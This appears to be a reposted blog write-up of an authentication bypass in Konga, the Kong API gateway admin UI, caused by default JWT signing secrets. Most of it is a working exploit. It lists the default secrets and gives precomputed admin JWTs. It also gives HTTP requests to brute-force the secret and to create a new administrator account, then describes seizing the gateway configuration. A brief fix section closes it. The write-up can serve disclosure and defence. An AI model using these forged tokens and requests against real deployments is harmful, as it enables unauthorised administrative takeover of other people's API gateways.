首页 > 其他分享 >Konga versions equal to or below v0.14.9 use the default TOKEN_SECRET

Konga versions equal to or below v0.14.9 use the default TOKEN_SECRET

时间:2023-04-18 19:56:51浏览次数:184  
标签:use Konga versions default JWT TOKEN SECRET user

Vulnerability Description

Kong is a clould-native, fast, scalable, distributed microservice abstraction layer (also known as API gateway, API middleware or in some cases service grid) framework, repository address: https://github.com/Kong/kong, official website address: https://konghq.com /. Konga is Kong's unofficial UI management tool, repository address: https://github.com/pantsel/konga.

Konga login authentication uses a JWT containing the default TOKEN_SECRET and user id. An attacker can guess the JWT to obtain the correct login credentials so that he can log into the Konga administration page and then perform high-risk operations such as creating a new administrator account and modifying the default configuration.

Impact version

Konga version is equal to or less than v0.14.9

Kong test version: v2.8.3

Vulnerability Exploitation

JWT KEY Blast

KEY structure

Konga's login api uses JWT for authentication and has the following structure, where PAYLOAD is the user id (a number, starting from 1 by default, 1 represents the administrator account admin).

img

The default value of Konga TOKEN_SECRET is:

· some_secret_token (used by env files)

· oursecret (default value of environment variable)

· somerandomstring (docker environment variable)

(Don't doubt, it's really these values.)

The following posting of the user id is 1, the three TOKEN_SECRET corresponding to the JWT, easy to use quickly in practice:

#some_secret_token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.MQ.P3lokDPXiruulL1kMyKAr08IfLE0_0Fwlm8AB-ydVpQ

#oursecret
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.MQ.gSssTBEVe6X9aFEd0H_tt8kk2u7df90W1eOzNRnrsQ4

#somerandomstring
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.MQ.jEOR1XwdD9w5lqMZ_BqRX6l1W_htsI3p3cxFu2PTgMs

Blasting Ideas

Blast by enumerating user id and TOKEN_SECRET.

Add Authorization Header in the format of: Authorization: Bearer TOKEN_SECRET.

img

GET /api/user HTTP/1.1
Host: HOST:PORT
Accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.MQ.P3lokDPXiruulL1kMyKAr08IfLE0_0Fwlm8AB-ydVpQ
Content-Length: 0


If incorrect, it will prompt 401.

img

Create new user

After blasting to the exact TOKEN_SECRET, POST the following data to the interface /api/user, you can create an administrator user with the username test1 and password test123456.

POST /api/user HTTP/1.1
Host: HOST:PORT
Accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.MQ.P3lokDPXiruulL1kMyKAr08IfLE0_0Fwlm8AB-ydVpQ
Content-Length: 206

{"username":"test1","firstName":"test12","lastName":"test13","admin":true,"active":true,"passports":{"password":"test123456","protocol":"local"},"password_confirmation":"test123456","email":"[email protected]"}

img

Then just login in your browser.

Successful login!!!

img

Takeover of Konga

View Configuration

img

Modify configuration

First activate the connection.

img

Then you can view and modify the configuration of API GATEWAY.

img

Including the creation of new SERVICES and ROUTES, etc.

Example: Create a SERVICES with the name test.

img

Successfully created!

img

At this point, full control of Konga has been achieved.

Vulnerability Fixes

Modify the default TOKEN_SECRET.

Restrict the source IPs that can access the Konga panel.

标签:use,Konga,versions,default,JWT,TOKEN,SECRET,user
From: https://www.cnblogs.com/andao/p/17330864.html

相关文章

  • 配置SUSE linux实例的NTP/Chrony时钟同步服务
    问题描述您希望了解如何修改Linux系统的ECS实例的时区,以及如何开启、配置及使用NTP/Chrony服务,保证实例的时间精确同步。适用于SUSELinuxEnterpriseforSAP12SUSELinuxEnterpriseforSAP15说明和使用限制NTP服务的通信端口为UDP123,您需要在实例安全组的入方向......
  • Vue 登录login post请求 security UserDetailsService 获取参数为""
    背景原请求将数据放到params中,导致数据拼接在请求地址后面,具有高级安全隐患。请求方法:axios.request({url:'/login',method:'post',params:{username:'****',password:'****'}})出现的问题将params改成data,使数据放在请求体中,但后端自定义的U......
  • 抓包显示”TCP Port number reused“端口重复使用
    访问linux指定端口失败在一次调试中,在windows平台下使用软件,访问linux系统的8554端口失败,于是使用windows系统抓包查看;看到linux系统8554端口回复给windows系统14676端口的内容:win=0滑动窗口大小为0、Len=0长度为0;并且windows系统访问linux系统时“TCPPortnumberreused:重......
  • Vscode提示"Option 'importsNotUsedAsValues' is deprecated and will stop functioni
    完整错误如下。点击错误信息会定位到tsconfig.json和tsconfig.node.json两个文件。Option'importsNotUsedAsValues'isdeprecatedandwillstopfunctioninginTypeScript5.5.SpecifycompilerOption'"ignoreDeprecations":"5.0"'tosilencethis......
  • Plugin ‘Android WiFi ADB’ is compatible with IntelliJ IDEA only because it doe
    Plugin‘AndroidWiFiADB’iscompatiblewithIntelliJIDEAonlybecauseitdoesn’tdefineanyexplicitmoduledependenciesAndroidStudio中安装AndroidWiFiADB插件重启时报错怎么解决Plugin‘AndroidWiFiADB’iscompatiblewithIntelliJIDEAonlyb......
  • 火山引擎云原生数据仓库 ByteHouse 技术白皮书 V1.0 (Ⅲ)
     更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群近日,《火山引擎云原生数据仓库ByteHouse技术白皮书》正式发布。白皮书简述了ByteHouse基于ClickHouse引擎的发展历程,首次详细展现ByteHouse的整体架构设计及自研核心技术,为云原生数据......
  • 火山引擎云原生数据仓库 ByteHouse 技术白皮书 V1.0 (Ⅲ)
    更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群 近日,《火山引擎云原生数据仓库ByteHouse技术白皮书》正式发布。白皮书简述了ByteHouse基于ClickHouse引擎的发展历程,首次详细展现ByteHouse的整体架构设计及自研核心技术,为云原生数......
  • 18c新特性——PDB snapshot Carousel 快照轮转
    一、关于PDB快照轮转18c新特性PDB快照轮转(SnapshotCarousel)提供了在pdb级别下手工或者自动生成快照的功能。PDB快照主要有两个作用:通过闪回恢复数据到快照时间点使用快照PDB查询历史数据CDB需要使用localundo并处于归档模式下。每个PDB快照都会关联一个快照名称,可以在创建时定义......
  • How to fix use the cURL to connect to GitHub with a 443 HTTPS error All In One
    HowtofixusethecURLtoconnecttoGitHubwitha443HTTPSerrorAllInOne#nvm$curl-o-https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.3/install.sh|bashhttps://github.com/nvm-sh/nvm#installing-and-updatingerrorscurl:(7)Failedtoconnec......
  • ERROR 1045 (28000): Access denied for user '-root'@'localhost' (using password:
    以下是cmd的操作(重启服务,修改my.ini文章下面有my.ini配置) 当修改密码为123456是sqlyog连接成功修改为root时连接报老错误,又修改为123456在修改为root就连接正常了MicrosoftWindows[版本10.0.18363.1139](c)2019MicrosoftCorporation。保留所有权利。C:\ProgramFiles......